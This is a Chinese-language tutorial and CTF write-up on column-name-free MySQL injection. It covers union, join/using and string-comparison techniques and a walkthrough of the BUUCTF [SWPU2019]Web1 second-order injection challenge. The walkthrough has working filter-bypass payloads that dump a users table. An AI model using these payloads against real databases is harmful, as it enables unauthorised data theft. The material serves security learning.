SQL无列名注入

SQL无列名注入

​ 前段时间,队里某位大佬发了一个关于sql注入无列名的文章,感觉好像很有用,特地研究下。

关于 information_schema 数据库:

​ 对于这一个库,我所知晓的内容并不多,并且之前总结SQL注入的时候忘记说这个数据库了,在这里补充一下,简单点儿来说,就是这个数据库中的某些表存放着数据库的一些信息,例如,我电脑中所有的数据库中存在如下的几个数据库:

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sakila             |
| sys                |
| test               |
| world              |
+--------------------+
7 rows in set (0.00 sec)

​ 那么我们通过查 information_schema 中的 SCHEMATA 表中的 SCHEMA_NAME 字段可以得到所有数据库的库名:

mysql> use information_schema;
Database changed
mysql> select SCHEMA_NAME from SCHEMATA;
+--------------------+
| SCHEMA_NAME        |
+--------------------+
| mysql              |
| information_schema |
| performance_schema |
| sys                |
| sakila             |
| world              |
| test               |
+--------------------+
7 rows in set (0.00 sec)

​ 同时,tables这个表中存在很多关于表的内容的字段,例如:

​ table_schema,这个字段用于存放某张表属于哪一个数据库的字段。

​ table_name, 这个字段用于存放所有的表的名字

​ 如果想要查到某个数据库中的所有表名,则需要查询table_name这个字段,然后用where来限制table_schema查找对应的数据库:

mysql> select table_name from TABLES where table_schema='test';
+------------+
| TABLE_NAME |
+------------+
| questions  |
+------------+
1 row in set (0.00 sec)

​ 另外,information_schema 库中还有一张columns表,这里面存的是所有字段的信息,columns表中存在table_name , table_schema , column_name 对于table_schema,这里面则是所有字段所在表的名字,而table_schema 则是存放了所有字段的表所在的数据库的名字,另外,column_name 则是存放了所有的字段的名字,因此,想要查询到某个数据库中所有字段的名字,或者某张表的所有的字段的名字则可以用如下的命令查找:

mysql> select column_name from columns where table_schema='test'; #查询某个库里面所有的字段的名字
+-------------+
| COLUMN_NAME |
+-------------+
| answer      |
| id          |
| quest       |
+-------------+
3 rows in set (0.00 sec)mysql> select column_name from columns where table_name='questions'; #查询某张表中所有字段的内容(由于这个库中只有一张表,所以结果一样)
+-------------+
| COLUMN_NAME |
+-------------+
| answer      |
| id          |
| quest       |
+-------------+
3 rows in set (0.00 sec)

关于InnoDb引擎:

我不知道这个具体是个什么东西,有什么用,但是还是记录一下,有条件再拿来研究看看。

​ 从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,mysql数据库中inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。其利用方式是:mysql.innodb_index_stats和mysql.innodb_table_stats

​ 依旧拿上面的那张表作为延时,也就是test库里面的questions这张表。

​ 再mysql这个数据库种存在两张表,里面分别存放了一些内容,例如,innodb_table_stats这个表,存放的是所有的表名,也就是database_name还有table_name这两张表,但是没有存放列名,因此,这里可以试着访问下:

mysql> select * from innodb_table_stats where database_name='ctfer';
+---------------+------------+---------------------+--------+----------------------+--------------------------+
| database_name | table_name | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+---------------+------------+---------------------+--------+----------------------+--------------------------+
| ctfer         | users      | 2024-03-02 16:37:10 |      0 |                    1 |                        0 |
+---------------+------------+---------------------+--------+----------------------+--------------------------+
1 row in set (0.00 sec)

​ 再然后就是mysql数据库中的innodb_index_stats表,里面我总结不出来具体是什么信息,但是里面存放有所有数据库中的所有表的信息,也就是database_name还有table_name这两张表,不过,还是没有存放字段的信息,这里可以试着访问下:

mysql> select * from innodb_index_stats where database_name='ctfer';
+---------------+------------+-----------------+---------------------+--------------+------------+-------------+-----------------------------------+
| database_name | table_name | index_name      | last_update         | stat_name    | stat_value | sample_size | stat_description                  |
+---------------+------------+-----------------+---------------------+--------------+------------+-------------+-----------------------------------+
| ctfer         | users      | GEN_CLUST_INDEX | 2024-03-02 16:37:10 | n_diff_pfx01 |          0 |           1 | DB_ROW_ID                         |
| ctfer         | users      | GEN_CLUST_INDEX | 2024-03-02 16:37:10 | n_leaf_pages |          1 |        NULL | Number of leaf pages in the index |
| ctfer         | users      | GEN_CLUST_INDEX | 2024-03-02 16:37:10 | size         |          1 |        NULL | Number of pages in the index      |
+---------------+------------+-----------------+---------------------+--------------+------------+-------------+-----------------------------------+
3 rows in set (0.00 sec)

关于sys数据库:

​ 在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。其用法是sys.schema_auto_increment_columns

​ 在sys数据库种,存在一个schema_auto_increment_columns表,里面存在几个字段,用于存放数据库名和表名以及字段名,有table_schema以及table_name还有column_name,但是,不知道为啥,我这里查询到的内容并不完全,少了很多内容,不过还是先仍在这儿吧

mysql> select * from schema_auto_increment_columns;
+--------------+------------+--------------+-----------+--------------------+-----------+-------------+------------+----------------+----------------------+
| table_schema | table_name | column_name  | data_type | column_type        | is_signed | is_unsigned | max_value  | auto_increment | auto_increment_ratio |
+--------------+------------+--------------+-----------+--------------------+-----------+-------------+------------+----------------+----------------------+
| sakila       | payment    | payment_id   | smallint  | smallint unsigned  |         0 |           1 |      65535 |          16049 |               0.2449 |
| sakila       | category   | category_id  | tinyint   | tinyint unsigned   |         0 |           1 |        255 |             16 |               0.0627 |
| sakila       | language   | language_id  | tinyint   | tinyint unsigned   |         0 |           1 |        255 |              6 |               0.0235 |
| sakila       | film       | film_id      | smallint  | smallint unsigned  |         0 |           1 |      65535 |           1000 |               0.0153 |
| sakila       | address    | address_id   | smallint  | smallint unsigned  |         0 |           1 |      65535 |            605 |               0.0092 |
| sakila       | city       | city_id      | smallint  | smallint unsigned  |         0 |           1 |      65535 |            600 |               0.0092 |
| sakila       | customer   | customer_id  | smallint  | smallint unsigned  |         0 |           1 |      65535 |            599 |               0.0091 |
| sakila       | staff      | staff_id     | tinyint   | tinyint unsigned   |         0 |           1 |        255 |              2 |               0.0078 |
| sakila       | store      | store_id     | tinyint   | tinyint unsigned   |         0 |           1 |        255 |              2 |               0.0078 |
| sakila       | actor      | actor_id     | smallint  | smallint unsigned  |         0 |           1 |      65535 |            200 |               0.0031 |
| sakila       | country    | country_id   | smallint  | smallint unsigned  |         0 |           1 |      65535 |            109 |               0.0017 |
| sakila       | inventory  | inventory_id | mediumint | mediumint unsigned |         0 |           1 |   16777215 |           4581 |               0.0003 |
| sakila       | rental     | rental_id    | int       | int                |         1 |           0 | 2147483647 |          16049 |               0.0000 |
| world        | city       | ID           | int       | int                |         1 |           0 | 2147483647 |           4079 |               0.0000 |
+--------------+------------+--------------+-----------+--------------------+-----------+-------------+------------+----------------+----------------------+
14 rows in set (0.01 sec)

无列名注入–union:

原理:

​ 例如,对于如下的一个表:

mysql> select * from users;
+----------+-----------+-----------------------------------+
| username | password  | flag                              |
+----------+-----------+-----------------------------------+
| xiaomi   | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+----------+-----------+-----------------------------------+
1 row in set (0.00 sec)

​ 如果我们想要进行查询,那么则需要表明,甚至是库名,不过,可以通过table_schema=database()来指定库名,因此,想要查询内容,则表名似乎成为了必须的内容,但是,在进行sql注入的时候,有的时候会对information进行过滤,因此,则无法做题,那么,这里则需要利用union的方式进行无列名的注入。

​ 如果我们想要查询到这个flag的话,那么我们或许可以考虑将字段修改为我们能够查询到的字段,比如,1、2、3,所以,使用如下命令做个尝试:

mysql> select 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)mysql> select 1,2,3  union select * from users;
+--------+-----------+-----------------------------------+
| 1      | 2         | 3                                 |
+--------+-----------+-----------------------------------+
| 1      | 2         | 3                                 |
| xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+--------+-----------+-----------------------------------+
2 rows in set (0.00 sec)

​ 可以知道的是,这里通过两次查询,第一次查询了1,2,3三个字段,第二次查询了users表中的所有字段,然后将users表中的所有字段联合在第一次查询到的字段中输出出来,根据这种情况,下面则有两种方式查询到flag的值:

mysql> select `3` from (select 1,2,3 union select * from users)a; #联合了1,2,3之后,如果用数字查询的话需要用反引号来表示引用,而不是一个值
+-----------------------------------+
| 3                                 |
+-----------------------------------+
| 3                                 |
| flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+-----------------------------------+
2 rows in set (0.00 sec)mysql> select b from (select 1,2,3 as b union select * from users)a; #这里通过3 as b 的方式给字段3重命名为b,然后再进行插叙
+-----------------------------------+
| b                                 |
+-----------------------------------+
| 3                                 |
| flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+-----------------------------------+
2 rows in set (0.00 sec)

注:这里不知道为何需要在括号外面随意写一些字符,如果有知道的话请帮忙讲解一下。

题目案例–BUUCTF----[SWPU2019]Web1:

​ 刚拿到这道题的时候,我是一点儿思路都没有,全称黑人问号,即使这道这道题的考点是sql注入也是一样的,完全找不到下手的点。

在这里插入图片描述

​ 最开始,一个登陆框一度让我认为是sql注入的万能密码,结果不是,弱密码?猜了几个也没才出来,因此,可以排除是弱密码以及万能密码了,跟着dalao们的wp做,发现这里可以直接注册一个非admin的账号,好吧,我人傻了,那就随便注册一下,账号qwe,密码123456,登录。

​ 登录之后是这样的一个内容:

在这里插入图片描述

​ 这里,似乎能点的超链接只有一个申请发布广告,下面那一个点了之后似乎就退出登录了,显然是错的,所以点一下申请发布广告:

在这里插入图片描述

​ 出现了这样的一个页面,那么,这个又代表了什么呢?如果不是明确地指出这道题是sql注入的话,我可能还是会无脑认为这个题目是一道XSS的漏洞,那么,这个到底是个啥?

​ 看了下dalao们的wp,说的是这是一道二次注入,是一道我没有遇到过的漏洞。

什么是二次注入:

​ 二次注入就是指以储存(数据库、文件)的用户输入被读取后再次进入到SQL查询语句中导致注入。

二次注入的原理:

​ 首先,对于某些字符,在进行数据库插入数据时,对其中的某些特殊字符进行了转义处理,比如 1’变成了1\’ 在写入数据库的时候保留了原来的数据,也就是 1’。然后,开发者又默认了存入数据库中的数据都是安全的,因此,在进行查询时,直接从数据库中取出而已树据,并没有进行进一步的检验的处理,在下一次的使用中拼凑在一起,就形成了二次注入。

继续做题:

​ 既然这道题是个二次注入的题目,那么就应该考虑,使用sql注入的方式了。首先构造语句,判断注入类型以及想办法清楚到底过滤了那些关键字,首先构造sql语句,之后申请,然后广告详情:

1'

​ 得到了

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’ limit 0,1’ at line 1

​ 的一个回显,通过报错信息,或许是一个字符型注入,紧接着,判断过滤,经过多次尝试,发现过滤了的有:

or , # , 空格 , order by ,information_schema

​ 对于空格而言,则可以使用/**/来绕过,order by则可以使用group by ,#则可以使用,'3来闭合后面的引号来绕过,另外,information_schema 则可以使用最开始说到的无列名注入的相关的知识了,通过InnoDb引擎查表名,第一个payload为:

1'/**/group/**/by/**/22,'3

​ 首先,构造的group by后面的整数位22的时候,没有出现错误,但是,当整数为23的时候,却出现了报错:

在这里插入图片描述

​ 大致可以推测出,字段总的有22个。

​ 那么,知道了总的有多少个字段之后,就可以试着获得数据库名和表名了,构造的payload分别为:

​ 首先通过构造如下payload获取回显点,最后发现,回显点是2,3

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

​ 获得数据库名,成功拿到数据库为web1:

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/' 

​ 获得表名:

1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

​ 最后确定,web1这个数据库中存在的表为如下:

在这里插入图片描述

​ 根据dalao们的wp,他们使用的都是users这个表,因此,这里就不用一个表一个表地查了,直接users这个表梭哈:

1'/**/union/**/select/**/1,		(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

​ 该payload是利用了上面说到的无列名地union方法进行的,当然,为啥确定users表中存在3个字段呢?因为经过试错,发现一个字段,两个字段以及四个以上的时候,均是报错,所以,可以利用这一点,进行查询,然后通过

​ 然后通过修改as b 所在的地方,比如1的后方或者2的后方对列进行查找,最后发现在第三列查到了flag:

在这里插入图片描述

​ 完成啦 (p≧w≦q)

无列名注入–join:

​ 当然,由于union在的地位太过重要,因此有的时候可能会直接对union进行过滤,这个时候呢,就需要用到join来进行注入。

在那之前,先讲一下相关的前置知识,虽然我也不懂这些,不过还是先记录一下:

  • join 连接两张表
  • using() 用于两张表之间的 join 连接查询,并且 using()中的列在两张表中都存在,作为 join 的条件

​ 首先,还是之前的那一个ctfer的数据库,下面通过这个数据库做几个实验:

mysql> select * from users as a join users as b;
+----------+-----------+-----------------------------------+----------+-----------+-----------------------------------+
| username | password  | flag                              | username | password  | flag                              |
+----------+-----------+-----------------------------------+----------+-----------+-----------------------------------+
| xiaomi   | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} | xiaomi   | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+----------+-----------+-----------------------------------+----------+-----------+-----------------------------------+
1 row in set (0.00 sec)

可以发现,查询的两次同一个表,被拼接成了一个,那么,这个有什么用呢?试试在这之前加上一个查询,看看查询这拼接到一起的这个表:

mysql> select * from (select * from users as a join users as b)a;
ERROR 1060 (42S21): Duplicate column name 'username'

​ 这里发现,报错了,并且还是字段名重复的错误,注:括号外面必须得加上任意字母,否则会报ERROR 1248 (42000): Every derived table must have its own alias的错误,因此,则可以使用这种方式获得所有的列名,不过前提还是得用InnoDb引擎来获取数据库名以及表名。

​ 根据上面的那个可以知道的是,其中一个字段的名字,但是,flag或许并不在这个字段里,那么,就需要想点办法获得下一个字段的名字了,不过,在那之前,得先排除掉已经知道的字段名的干扰,可以使用如下方法:

mysql> select * from users as a join users as b using(username);
+----------+-----------+-----------------------------------+-----------+-----------------------------------+
| username | password  | flag                              | password  | flag                              |
+----------+-----------+-----------------------------------+-----------+-----------------------------------+
| xiaomi   | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+----------+-----------+-----------------------------------+-----------+-----------------------------------+
1 row in set (0.00 sec)

​ 看看上面的内容,发现在增加了一个**using(username)**之后,username这个字段似乎奇迹般地没了,不过这里我不是很清楚原理是什么,不过,暂时能用就行,记录一下,以后有机会学到了这里再进行补充。那么,到了这个时候,重复的字段就只有password和flag了,于是,再用如下的语句进行查询看看:

mysql> select * from (select * from users as a join users as b using(username))a;
ERROR 1060 (42S21): Duplicate column name 'password'

​ 成功查询到了password这个字段名,紧接着,将password加入using()函数中,如下,即可拿到flag字段的字段名:

mysql> select * from (select * from users as a join users as b using(username,password))a;
ERROR 1060 (42S21): Duplicate column name 'flag'

​ 最后一步,如果将flag再填进using()函数中呢?会出现如下情况:

mysql> select * from (select * from users as a join users as b using(username,password,flag))a;
+----------+-----------+-----------------------------------+
| username | password  | flag                              |
+----------+-----------+-----------------------------------+
| xiaomi   | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+----------+-----------+-----------------------------------+
1 row in set (0.00 sec)

​ 内容被成功查询出来了,之后再怎么办就得根据题目的实际情况决定了,成功了!!! (p≧w≦q)

无列名注入–ascii位偏移:

​ 这个方法,是有点类似于sql盲注的爆破的,利用的是字符串进行比较是按位置进行比较,从最开始的那个开始,一位一位地比较,因此,当得到数据库名以及表名之后,则可以进行如下操作:

​ 不过这种方法有个前提,就是需要表内只有一个字段,不然只能获取到第一个字段的字段名。

mysql> select username from users;
+----------+
| username |
+----------+
| xiaomi   |
+----------+
1 row in set (0.00 sec)

​ 首先可以知道的是,username中的内容是xiaomi,因此,用如下方式可以进行比对:

mysql> select (select 'x')>(select username from users);
+-------------------------------------------+
| (select 'x')>(select username from users) |
+-------------------------------------------+
|                                         0 |
+-------------------------------------------+
1 row in set (0.00 sec)mysql> select (select 'y')>(select username from users);
+-------------------------------------------+
| (select 'y')>(select username from users) |
+-------------------------------------------+
|                                         1 |
+-------------------------------------------+
1 row in set (0.00 sec)

因为我这里存在三个字段,所以这里只有指定一下某个表进行查询。显而易见,在第一行中,我们用x进行对比,返回结果为0,对比y的时候返回结果为1,也就是说,这个字段的内容的第一位为x,接下来进行后续的对比:

mysql> select (select 'xi')>(select username from users);
+--------------------------------------------+
| (select 'xi')>(select username from users) |
+--------------------------------------------+
|                                          0 |
+--------------------------------------------+
1 row in set (0.00 sec)mysql> select (select 'xj')>(select username from users);
+--------------------------------------------+
| (select 'xj')>(select username from users) |
+--------------------------------------------+
|                                          1 |
+--------------------------------------------+
1 row in set (0.00 sec)

​ 后续的查询操作也就很明显了,当然,这里如果合适的话其实可以利用python写个爬虫来进行查询的:

mysql> select (select 'xiaomia')>(select username from users);
+-------------------------------------------------+
| (select 'xiaomia')>(select username from users) |
+-------------------------------------------------+
|                                               1 |
+-------------------------------------------------+
1 row in set (0.00 sec)

​ 当然,如果查询到最后一个,在这里也就是xiaomi 的第二个i的之后,如果再对后面进行对比的时候无论如何也是1,这里我做一个猜测,应该是因为字符串的结尾是以\x00结尾,因此,每一个可显示字符都要比这个字符大。

ect 'xiaomia')>(select username from users);
+-------------------------------------------------+
| (select 'xiaomia')>(select username from users) |
+-------------------------------------------------+
|                                               1 |
+-------------------------------------------------+
1 row in set (0.00 sec)

​ 当然,如果查询到最后一个,在这里也就是xiaomi 的第二个i的之后,如果再对后面进行对比的时候无论如何也是1,这里我做一个猜测,应该是因为字符串的结尾是以\x00结尾,因此,每一个可显示字符都要比这个字符大。

​ 好了,ascii位偏移的无列名注入也说完了!!! (p≧w≦q)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/717854.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【数据结构】_包装类与泛型

目录 1. 包装类 1.1 基本数据类型和对应的包装类 1.2 (自动)装箱和(自动)拆箱 1.2.1 装箱与拆箱 1.2.2 自动(显式)装箱与自动(显式)拆箱 1.3 valueOf()方法 2. 泛型类 2.1 泛…

【深度学习笔记】计算机视觉——目标检测和边界框

目标检测和边界框 前面的章节(例如 sec_alexnet— sec_googlenet)介绍了各种图像分类模型。 在图像分类任务中,我们假设图像中只有一个主要物体对象,我们只关注如何识别其类别。 然而,很多时候图像里有多个我们感兴趣…

某大型制造企业数字化转型规划方案(附下载)

目录 一、项目背景和目标 二、业务现状 1. 总体应用现状 2. 各模块业务问题 2.1 设计 2.2 仿真 2.3 制造 2.4 服务 2.5 管理 三、业务需求及预期效果 1. 总体业务需求 2. 各模块业务需求 2.1 设计 2.2 仿真 2.3 制造 2.4 服务 2.5 管理 四、…

数字化转型导师坚鹏:证券公司数字化营销

证券公司数字化营销 ——借力数字化技术实现零售业务的批量化、精准化、场景化、智能化营销 课程背景: 很多证券公司存在以下问题: 不知道如何提升证券公司数字化营销能力? 不知道证券公司如何开展数字化营销工作? 不知道…

Java虚拟机 - JVM

JVM的内存区域划分 JVM它其实也是一个进程,进程运行的过程中,会从操作系统中申请一些资源.内存就是其中的一种.这些内存就支撑了java程序的运行.JVM从系统中申请的一大块内存,会根据实际情况和使用用途来划分出不同的空间,这个就是区域划分.它一般分为 堆区, 栈区, 程序计数器…

springboot240基于Spring boot的名城小区物业管理系统

基于Spring boot的名城小区物业管理系统的设计与实现 摘要 当下,正处于信息化的时代,许多行业顺应时代的变化,结合使用计算机技术向数字化、信息化建设迈进。以前相关行业对于物业信息的管理和控制,采用人工登记的方式保存相关数…

InnoDB存储引擎对MVCC的实现

MVCC MVCC的目的 在搞清楚MVCC之前,我们要搞懂一个问题,MVCC到底解决的是什么问题? 我用一句话概括,那就是为了解决读-写可以一起的问题! 在我们的印象里,InnoDB可以读读并发,不能读写并发,或者写写并发 这是很正常的想法,因为如果读写并发的化,会有并发问题 而对于写写…

构建安全的REST API:OAuth2和JWT实践

引言 大家好,我是小黑,小黑在这里跟咱们聊聊,为什么REST API这么重要,同时,为何OAuth2和JWT在构建安全的REST API中扮演着不可或缺的角色。 想象一下,咱们每天都在使用的社交媒体、在线购物、银行服务等等…

Sqli-labs靶场第16关详解[Sqli-labs-less-16]自动化注入-SQLmap工具注入

Sqli-labs-Less-16 #自动化注入-SQLmap工具注入 SQLmap用户手册:文档介绍 - sqlmap 用户手册 以非交互式模式运行 --batch 当你需要以批处理模式运行 sqlmap,避免任何用户干预 sqlmap 的运行,可以强制使用 --batch 这个开关。这样&#xff0…

GC机制以及Golang的GC机制详解

要了解Golang的GC机制,就需要了解什么事GC,以及GC有哪几种实现方式 一.什么是GC 当一个电脑上的动态内存不再需要时,就应该予以释放,以让出内存,这种内存资源管理,称为垃圾回收(Garbage Collection)&#x…

最长上升子序列(LIS)简介及其例题分析

一.最长上升子序列(LIS)的相关知识 1.最长上升子序列(Longest Increasing Subsequence),简称LIS,也有些情况求的是最长非降序子序列,二者区别就是序列中是否可以有相等的数。假设我们有一个序…

【论文笔记】Initializing Models with Larger Ones

Abstract 介绍权重选择,一种通过从预训练模型的较大模型中选择权重子集来初始化较小模型的方法。这使得知识从预训练的权重转移到更小的模型。 它还可以与知识蒸馏一起使用。 权重选择提供了一种在资源受限的环境中利用预训练模型力量的新方法,希望能够…

【Linux】软件管理yum | 编辑器vim | vim插件安装

目录 1. Linux软件管理yum 1.1 什么是软件包 1.2 查看软件包 1.3 如何安装软件 1.4 如何卸载软件 2. Linux编辑器vim 2.1 vim的基本概念 2.2 vim的基本操作 2.3 vim正常模式命令集 2.4 vim末行模式命令集 2.5 简单vim配置 2.6 插件安装 1. Vim-Plug 3. coc.nvim …

如何自己系统的学python

学习Python是一项很好的投资,因为它是一种既强大又易于学习的编程语言,适用于多种应用,如数据分析、人工智能、网站开发等。下面是一个系统学习Python的步骤建议: 基础准备 安装Python: 访问Python官网下载最新版本的…

微信小程序-生命周期

页面生命周期 onLoad: 页面加载时触发的方法,在这个方法中可以进行页面初始化的操作,如获取数据、设置页面状态等。 onShow: 页面显示时触发的方法,在用户进入页面或从其他页面返回该页面时会调用此方法。可以在此方法中进行页面数据刷新、动…

Onenote软件新建笔记本时报错:无法在以下位置新建笔记本

报错现象: 当在OneNote软件上,新建笔记本时: 然后,尝试重新登录微软账户,也不行,提示报错: 解决办法: 打开一个新的记事本,复制粘贴以下内容: C:\Users\Adm…

Mysql中的事务

什么是事务: 多条sql语句,要么全部成功,要么全部失败。 事务的特性: 1:原子性(Atomic): 组成一个事务的多个数据库操作是一个不可分割的原子单元,只有所有操作都成功,整个事务才会…

C++调用lua函数

C 调用Lua全局变量(普通) lua_getglobal(lua, "width");int width lua_tointeger(lua,-1);lua_pop(lua,1);std::cout << width << std::endl;lua_close(lua); 这几行代码要放到lua_pcall(lua, 0,0,0);之后才可以. C给lua传递变量 lua_pushstring(lua, …

Python 操作 Excel,如何又快又好?

➤数据处理是 Python 的一大应用场景&#xff0c;而 Excel 则是最流行的数据处理软件。因此用 Python 进行数据相关的工作时&#xff0c;难免要和 Excel 打交道。Python处理Excel 常用的系列库有&#xff1a;xlrd、xlwt、xlutils、openpyxl ◈xlrd &#xff0d; 用于读取 Exce…

Rocky 9 安装 R-CytoTRACE

官网给出的详细指南&#xff0c;只是可能大家打不开或者懒得去看E文。 第一步&#xff0c;下载CytoTRACE安装包。 wget https://cytotrace.stanford.edu/CytoTRACE_0.3.3.tar.gz 第二步&#xff0c;打开R或者Rstudio-server # 安装依赖包 if (!requireNamespace("Bioc…